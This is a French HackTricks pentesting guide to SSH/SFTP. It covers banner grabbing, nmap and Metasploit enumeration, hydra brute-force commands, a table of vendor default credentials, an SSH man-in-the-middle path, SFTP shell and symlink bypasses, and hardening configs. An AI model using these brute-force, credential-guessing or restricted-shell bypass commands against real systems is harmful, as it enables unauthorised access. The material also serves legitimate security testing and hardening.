24 KiB
22 - Pentesting SSH/SFTP
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Si vous êtes intéressé par une carrière de piratage et que vous voulez pirater l'impossible - nous recrutons ! (polonais courant écrit et parlé requis).
{% embed url="https://www.stmcyber.com/careers" %}
Informations de base
SSH ou Secure Shell ou Secure Socket Shell, est un protocole réseau qui donne aux utilisateurs un moyen sécurisé d'accéder à un ordinateur sur un réseau non sécurisé.
Port par défaut : 22
22/tcp open ssh syn-ack
Serveurs SSH :
- openSSH – OpenBSD SSH, inclus dans les distributions BSD, Linux et Windows depuis Windows 10
- Dropbear – Implémentation SSH pour les environnements avec peu de mémoire et de ressources processeur, inclus dans OpenWrt
- PuTTY – Implémentation SSH pour Windows, le client est couramment utilisé mais l'utilisation du serveur est plus rare
- CopSSH – Implémentation d'OpenSSH pour Windows
Bibliothèques SSH (implémentant côté serveur) :
- libssh – Bibliothèque C multiplateforme implémentant le protocole SSHv2 avec des bindings en Python, Perl et R; elle est utilisée par KDE pour sftp et par GitHub pour l'infrastructure git SSH
- wolfSSH – Bibliothèque serveur SSHv2 écrite en ANSI C et destinée aux environnements embarqués, RTOS et à ressources limitées
- Apache MINA SSHD – La bibliothèque Java Apache SSHD est basée sur Apache MINA
- paramiko – Bibliothèque de protocole SSHv2 Python
Énumération
Banner Grabbing
nc -vn <IP> 22
Audit automatisé de ssh-audit
ssh-audit est un outil d'audit de configuration de serveur et de client ssh.
https://github.com/jtesta/ssh-audit est une version mise à jour de https://github.com/arthepsy/ssh-audit/
Fonctionnalités:
- Prise en charge des serveurs SSH1 et SSH2;
- Analyse de la configuration du client SSH;
- Récupération de la bannière, reconnaissance du périphérique ou du logiciel et du système d'exploitation, détection de la compression;
- Collecte des algorithmes d'échange de clés, de clés d'hôte, de chiffrement et de code d'authentification de message;
- Informations sur les algorithmes de sortie (disponibles depuis, supprimés/désactivés, non sécurisés/faibles/hérités, etc.);
- Recommandations d'algorithmes de sortie (ajout ou suppression en fonction de la version du logiciel reconnue);
- Informations de sécurité de sortie (problèmes connexes, liste CVE attribuée, etc.);
- Analyse de la compatibilité de la version SSH en fonction des informations sur les algorithmes;
- Informations historiques d'OpenSSH, Dropbear SSH et libssh;
- Fonctionne sous Linux et Windows;
- Aucune dépendance.
usage: ssh-audit.py [-1246pbcnjvlt] <host>
-1, --ssh1 force ssh version 1 only
-2, --ssh2 force ssh version 2 only
-4, --ipv4 enable IPv4 (order of precedence)
-6, --ipv6 enable IPv6 (order of precedence)
-p, --port=<port> port to connect
-b, --batch batch output
-c, --client-audit starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n, --no-colors disable colors
-j, --json JSON output
-v, --verbose verbose output
-l, --level=<level> minimum output level (info|warn|fail)
-t, --timeout=<secs> timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>
Clé publique SSH du serveur
La clé publique SSH du serveur est un fichier qui contient une clé cryptographique qui permet à un utilisateur de se connecter à un serveur via SSH sans avoir à saisir un mot de passe. Cette clé est généralement stockée dans le fichier authorized_keys
du serveur et peut être récupérée en utilisant la commande ssh-keygen
. Il est important de garder cette clé en sécurité pour éviter toute compromission du serveur.
ssh-keyscan -t rsa <IP> -p <PORT>
Algorithmes de chiffrement faibles
Cela est découvert par défaut par nmap. Mais vous pouvez également utiliser sslcan ou sslyze.
Scripts Nmap
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods
Shodan
ssh
Brute force des noms d'utilisateur, des mots de passe et des clés privées
Énumération des noms d'utilisateur
Dans certaines versions d'OpenSSH, vous pouvez effectuer une attaque de minutage pour énumérer les utilisateurs. Vous pouvez utiliser un module Metasploit pour exploiter cela:
msf> use scanner/ssh/ssh_enumusers
Brute force
Voici quelques identifiants ssh courants ici et ici.
Brute Force de clé privée
Si vous connaissez des clés privées ssh qui pourraient être utilisées... essayons. Vous pouvez utiliser le script nmap :
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
Ou le module auxiliaire MSF :
msf> use scanner/ssh/ssh_identify_pubkeys
Ou utilisez ssh-keybrute.py
(natif python3, léger et avec des algorithmes hérités activés): snowdroppe/ssh-keybrute.
Clés connues mauvaises peuvent être trouvées ici:
{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %}
Clés SSH faibles / PRNG prévisible de Debian
Certains systèmes ont des failles connues dans la graine aléatoire utilisée pour générer du matériel cryptographique. Cela peut entraîner un espace de clés considérablement réduit qui peut être bruteforcé. Des ensembles de clés pré-générées générées sur des systèmes Debian affectés par un PRNG faible sont disponibles ici: g0tmi1k/debian-ssh.
Vous devriez chercher ici pour rechercher des clés valides pour la machine victime.
Kerberos
crackmapexec en utilisant le protocole ssh
peut utiliser l'option --kerberos
pour s'authentifier via kerberos.
Pour plus d'informations, exécutez crackmapexec ssh --help
.
Identifiants par défaut
Fournisseur | Noms d'utilisateur | Mots de passe |
---|---|---|
APC | apc, device | apc |
Brocade | admin | admin123, password, brocade, fibranne |
Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
D-Link | admin, user | private, admin, user |
Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
Juniper | netscreen | netscreen |
NetApp | admin | netapp123 |
Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
SSH-MitM
Si vous êtes sur le réseau local que la victime va utiliser pour se connecter au serveur SSH en utilisant un nom d'utilisateur et un mot de passe, vous pouvez essayer de réaliser une attaque MitM pour voler ces informations d'identification:
Chemin de l'attaque:
- le trafic de l'utilisateur est redirigé vers la machine attaquante
- l'attaquant surveille les tentatives de connexion au serveur SSH et les redirige vers son propre serveur SSH
- le serveur SSH de l'attaquant est configuré, premièrement, pour enregistrer toutes les données entrées, y compris le mot de passe de l'utilisateur, et, deuxièmement, pour envoyer des commandes au serveur SSH légitime auquel l'utilisateur veut se connecter, pour les exécuter, puis renvoyer les résultats à l'utilisateur légitime
****SSH MITM **** fait exactement ce qui est décrit ci-dessus.
Pour capturer effectuer le MitM réel, vous pouvez utiliser des techniques telles que l'usurpation ARP, le détournement DNS ou d'autres décrites dans les attaques d'usurpation de réseau.
Mauvaises configurations de configuration
Connexion root
Par défaut, la plupart des implémentations de serveur SSH autoriseront la connexion root, il est conseillé de la désactiver car si les informations d'identification de ce compte sont divulguées, les attaquants obtiendront directement des privilèges administratifs et cela permettra également aux attaquants de mener des attaques de force brute sur ce compte.
Comment désactiver la connexion root pour openSSH:
- Modifier la configuration du serveur SSH
sudoedit /etc/ssh/sshd_config
- Changer
#PermitRootLogin yes
enPermitRootLogin no
- Prendre en compte les modifications de configuration:
sudo systemctl daemon-reload
- Redémarrer le serveur SSH
sudo systemctl restart sshd
Exécution de commandes SFTP
Une autre mauvaise configuration courante de SSH est souvent observée dans la configuration SFTP. La plupart du temps, lors de la création d'un serveur SFTP, l'administrateur souhaite que les utilisateurs aient un accès SFTP pour partager des fichiers mais pas pour obtenir un shell distant sur la machine. Ils pensent donc qu'en créant un utilisateur, en lui attribuant un shell de substitution (comme /usr/bin/nologin
ou /usr/bin/false
) et en le chrootant dans une prison, cela suffit à éviter un accès shell ou un abus sur l'ensemble du système de fichiers. Mais ils ont tort, un utilisateur peut demander à exécuter une commande juste après l'authentification avant que sa commande ou son shell par défaut ne soit exécuté. Ainsi, pour contourner le shell de substitution qui refusera l'accès shell, il suffit de demander à exécuter une commande (par exemple /bin/bash
) avant, simplement en faisant:
$ ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
Voici un exemple de configuration SFTP sécurisée (/etc/ssh/sshd_config
- openSSH) pour l'utilisateur noraj
:
Match User noraj
ChrootDirectory /home/noraj
ForceCommand internal-sftp
AllowTcpForwarding no
X11Forwarding no
Cette configuration restreint l'utilisateur noraj
à son répertoire personnel (/home/noraj
) et l'oblige à utiliser SFTP (internal-sftp
). Les transferts de fichiers sont cryptés et les connexions TCP et X11 sont désactivées pour éviter les attaques de type tunneling.
Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no
Cette configuration permettra uniquement le SFTP : en désactivant l'accès shell en forçant la commande de démarrage et en désactivant l'accès TTY, mais également en désactivant tous les types de transfert de port ou de tunneling.
Tunneling SFTP
Si vous avez accès à un serveur SFTP, vous pouvez également faire transiter votre trafic à travers celui-ci, par exemple en utilisant le transfert de port commun :
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
SFTP Symlink
Le sftp dispose de la commande "symlink". Par conséquent, si vous avez des droits d'écriture dans un dossier, vous pouvez créer des liens symboliques vers d'autres dossiers/fichiers. Comme vous êtes probablement piégé dans un chroot, cela ne sera pas particulièrement utile pour vous, mais si vous pouvez accéder au lien symbolique créé depuis un service sans chroot (par exemple, si vous pouvez accéder au lien symbolique depuis le web), vous pouvez ouvrir les fichiers liés via le web.
Par exemple, pour créer un lien symbolique depuis un nouveau fichier "froot" vers "/":
sftp> symlink / froot
Si vous pouvez accéder au fichier "froot" via le web, vous pourrez lister le dossier racine ("/") du système.
Méthodes d'authentification
Dans les environnements à haute sécurité, il est courant d'activer uniquement l'authentification basée sur une clé ou à deux facteurs plutôt que l'authentification basée sur un mot de passe simple. Mais souvent, les méthodes d'authentification plus fortes sont activées sans désactiver les plus faibles. Un cas fréquent est d'activer publickey
dans la configuration openSSH et de le définir comme méthode par défaut, mais de ne pas désactiver password
. Ainsi, en utilisant le mode verbeux du client SSH, un attaquant peut voir qu'une méthode plus faible est activée :
$ ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
Par exemple, si une limite d'échec d'authentification est définie et que vous n'avez jamais la chance d'atteindre la méthode de mot de passe, vous pouvez utiliser l'option PreferredAuthentications
pour forcer l'utilisation de cette méthode.
$ ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
La vérification de la configuration du serveur SSH est nécessaire pour s'assurer que seules les méthodes attendues sont autorisées. L'utilisation du mode verbeux sur le client peut aider à voir l'efficacité de la configuration.
Fichiers de configuration
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa
Fuzzing
- https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
- https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2
Références
- Vous pouvez trouver des guides intéressants sur la façon de renforcer SSH dans https://www.ssh-audit.com/hardening_guides.html
- https://community.turgensec.com/ssh-hacking-guide
Si vous êtes intéressé par une carrière de piratage et que vous voulez pirater l'impossible - nous recrutons ! (polonais courant écrit et parlé requis).
{% embed url="https://www.stmcyber.com/careers" %}
Commandes Automatiques HackTricks
Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening
Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 -u {IP} ssh
Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au dépôt hacktricks et au dépôt hacktricks-cloud.